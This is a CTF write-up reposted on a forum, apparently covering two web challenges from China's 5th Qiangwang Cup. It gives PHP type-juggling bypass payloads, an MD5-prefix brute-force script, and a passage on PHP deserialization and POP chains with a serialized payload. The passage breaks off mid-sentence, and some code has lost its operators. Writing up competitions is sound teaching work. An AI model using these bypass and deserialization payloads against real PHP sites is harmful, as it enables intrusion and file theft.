標題:第五屆強網杯全國網絡安全挑戰賽writeup

taibeihacker

Moderator

Web​

1.[强网先锋]寻宝​

下發賽題,訪問鏈接如下:
1049983-20211223173925616-142118672.jpg

該題需要你通過信息1 和信息2 分別獲取兩段Key 值,輸入Key1 和Key2 然後解密。
Key1之代碼審計
點擊“信息1”,發現是代碼審計:
1049983-20211223173926650-284071638.jpg

完整源碼如下:
?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word=array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase='/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1']='1';
$ppp['number2']='1';
$ppp['nunber3']='1';
$ppp['number4']='1';
$ppp['number5']='1';
extract($_POST);
$num1=filter($ppp['number1']);
$num2=filter($ppp['number2']);
$num3=filter($ppp['number3']);
$num4=filter($ppp['number4']);
$num5=filter($ppp['number5']);
if(isset($num1) is_numeric($num1)){
die('非數字');
}
else{
if($num1 1024){
echo '第一層';
if(isset($num2) strlen($num2)=4 intval($num2 + 1) 500000){
echo '第二層';
if(isset($num3) '4bf21cd'===substr(md5($num3),0,7)){
echo '第三層';
if(!($num4 0)($num4==0)($num4=0)(strlen($num4) 6)(strlen($num4) 8)isset($num4) ){
echo '第四層';
if(!isset($num5)||(strlen($num5)==0)) die('no');
$b=json_decode(@$num5);
if($y=$b===NULL){
if($y===true){
echo '第五層';
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die('no');
}
}else{
die('no');
}
}else{
die('no');
}
}else{
die('no');
}
}else{
die('no111');
}
}
非數字
?
核心需要bypass 的代碼如下:
第一層:要求非純數字且大於1024,利用PHP 弱比較令$num1=11111a 即可。
第二層:繞過intval 函數(intval() 函數用於獲取變量的整數值),利用科學技術法繞過長度小於5 的限制,故令$num2=9e9 即可。
第三層:substr(md5) 取值為某個值,編寫腳本進行MD5 碰撞,計算出num3 為61823470,腳本如下:
import hashlib
def md5_encode(num3):
return hashlib.md5(num3.encode()).hexdigest()[0:7]
for i in range(60000000,700000000):
num3=md5_encode(str(i))
# print(num3)
if num3=='4bf21cd':
print(i)
break
運行結果如下:
1049983-20211223173927160-736402045.jpg

第四層:科學計數法繞過,長度為7 且為0,num4 為0e00000。
1049983-20211223173927543-1345414535.jpg

第五層:json_decode()函數接受一個JSON 編碼的字符串並且把它轉換為PHP 變量,如果json 無法被解碼(非json 格式時)將會返回null ,故令num5 等於1a (任意字符串即可)。
故最終Payload:
ppp[number1]=11111appp[number2]=9e9ppp[number3]=61823470ppp[number4]=0e00000ppp[number5]=1a
POST提交獲得Key1:
KEY1{e1e1d3d40573127e9ee0480caf1283d6}
Key2之腳本搜索
1、提示信息給了一個下載鏈接:
1049983-20211223173927932-601584177.jpg

2、解壓後得到一堆docx 文件:
1049983-20211223173928426-1779376784.jpg

3、隨便打開一個發現是一堆字符:
1049983-20211223173928865-286054451.jpg

4、猜測Key2 就在其中某一個文件中,寫腳本跑:
import os
import docx
for i in range(1,20):
for j in range(1,20):
path='./5.{0}/VR_{1}'.format(i,j)
files=os.listdir(path)
# print(filePath)
for file in files:
try:
fileName=path+'/'+file
# print(fileName)
file=docx.Document(fileName)
for content in file.paragraphs:
# print(content.text)
if 'KEY2{' in content.text:
print(content.text)
print(fileName)
break
except:
pass
運行結果如下:
1049983-20211223173929269-581091221.jpg

得到KEY2 :
KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}
在原頁面上提交獲取flag:
1049983-20211223173929623-1155291069.jpg

2.[强网先锋]赌徒​

下發賽題,訪問地址如下:
1049983-20211223173929968-140881516.jpg

結合題目源碼提醒,利用dirsearch 掃描目錄,發現www.zip:
1049983-20211223173930415-1982720835.jpg
3、解壓縮獲得題目源碼:meta charset='utf-8'?php//hint is in hint.phperror_reporting(1);
class Start{ public $name='guest'; public $flag='syst3m('cat 127.0.0.1/etc/hint');'; public function __construct(){ echo 'I think you need /etc/hint . Before this you need to see the source code'; }
public function _sayhello(){ echo $this-name; return 'ok'; }
public function __wakeup(){ echo 'hi'; $this-_sayhello(); } public function __get($cc){ echo 'give you flag : '.$this-flag; return ; }}
class Info{ private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this-promise='I will not !'; return $this-promise; }
public function __toString(){ return $this-file['filename']-ffiillee['ffiilleennaammee']; }}
class Room{ public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function=$this-a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; }
public function __invoke(){ $content=$this-Get_hint($this-filename); echo $content; }}
if(isset($_GET['hello'])){ unserialize($_GET['hello']);}else{ $hi=new Start();}?看到這裡猜測是PHP 反序列化的題目,但是先前了解的相關題目都只是涉及析構函數的利用點,本題看得一臉懵圈,所以立馬惡補下CTF 中關於PHP 反序列化的套路。 PHP的魔術方法PHP 中魔術方法的定義是把以兩個下劃線__開頭的方法稱為魔術方法,常見的如下:__construct: 在創建對象時候初始化對象,一般用於對變量賦初值。 __destruct: 和構造函數相反,當對象所在函數調用完畢後執行。 __toString: 當對像被當做一個字符串使用時調用。 __sleep: 序列化對象之前就調用此方法(其返回需要一個數組)__wakeup: 反序列化恢復對象之前調用該方法__call: 當調用對像中不存在的方法會自動調用該方法。 __get: 從不可訪問的屬性中讀取數據會觸發__isset(): 在不可訪問的屬性上調用isset()或empty()觸發__unset(): 在不可訪問的屬性上使用unset()時觸發__invoke(): 將對象調用為函數時觸發更多請查看PHP手冊:https://www.php.net/manual/zh/language.oop5.magic.php簡單例子?phpclass A{ var $test='demo'; function __wakeup(){ eval($this-test); }}$a=$_GET['test'];$a_unser=unserialize($a);分析:這裡只有一個A類,只有一個__wakeup()方法,並且一旦反序列化會走魔法方法__wakeup並且執行test 變量的命令,那我們構造如下EXP 執行phpinfo() 函數:phpclass A{ var $test='demo'; function __wakeup(){ echo $this-test; }}$a=$_GET['test'];$a_unser=unserialize($a);
$b=new A();$b-test='phpinfo();';$c=serialize($b);echo $c;輸出:O:1:'A':1:{s:4:'test';s:10:'phpinfo();';}提交輸出的Payload,執行效果如下:
1049983-20211223173931003-408094937.jpg

POP鏈實例進一步來看一道進階題目:php//flag is in flag.phperror_reporting(1);class Read { public $var; public function file_get($value) { $text=base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content=$this-file_get($this-var); echo $content; }}
class Show{ public $source; public $str; public function __construct($file='index.php') { $this-source=$file; echo $this-source.'Welcome'.'br'; } public function __toString() { return $this-str['str']-source; }
public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this-source)) { die('hacker'); } else { highlight_file($this-source); } }
public function __wakeup() { if(preg_match('/gopher|http|file|ftp|https|dict|\.\./i', $this-source)) { echo 'hacker'; $this-source='index.php'; } }}
class Test{ public $p; public function __construct() { $this-p=array(); }
public function __get($key) { $function=$this-p; return $function(); }}
if(isset($_GET['hello'])){ unserialize($_GET['hello']);}else{ $show=new Show('pop3.php'); $show-_show();}【題目分析】對於此題可以看到我們的目的是通過構造反序列化讀取flag.php 文件,Read 類有file_get_contents()函數,Show 類有highlight_file()函數可以讀取文件。接下來尋找目標點可以看到在最後幾行有unserialize 函數存在,該函數的執行同時會觸發__wakeup魔術方法,而__wakeup魔術方法可以看到在Show 類中。 1、__wakeup方法:public function __wakeup(){ if(preg_match('/gopher|http|file|ftp|https|dict|\.\./i', $this-source)) { echo 'hacker'; $this-source='index.php'; }}存在一個正則匹配函數preg_match(),該函數第二個參數應為字符串,這裡把source 當作字符串進行的匹配,這時若這個source 是某個類的對象的話,就會觸發這個類的__tostring方法,通篇看下代碼發現__tostring魔術方法也在Show 類中,那麼
 
返回
上方